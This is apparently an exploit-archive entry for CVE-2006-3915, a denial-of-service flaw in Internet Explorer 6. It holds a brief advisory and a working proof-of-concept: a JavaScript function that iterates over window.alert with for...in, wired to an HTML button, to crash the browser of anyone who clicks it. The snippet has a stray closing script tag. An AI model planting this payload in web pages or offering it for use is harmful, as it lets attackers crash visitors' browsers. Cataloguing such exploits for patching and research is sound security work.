Microsoft Internet Explorer 6 - Native Function Iterator Denial of Service

Author: hdm
type: dos
platform: windows
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date_added: 2006-07-24 
date_updated: 2013-09-13 
verified: 1 
codes: CVE-2006-3915;OSVDB-27373 
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source: https://www.securityfocus.com/bid/19140/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability. This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

function Demo() {
	// Iterate through any native function reference to crash
	for (var i in window.alert) { var a = 1; }
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>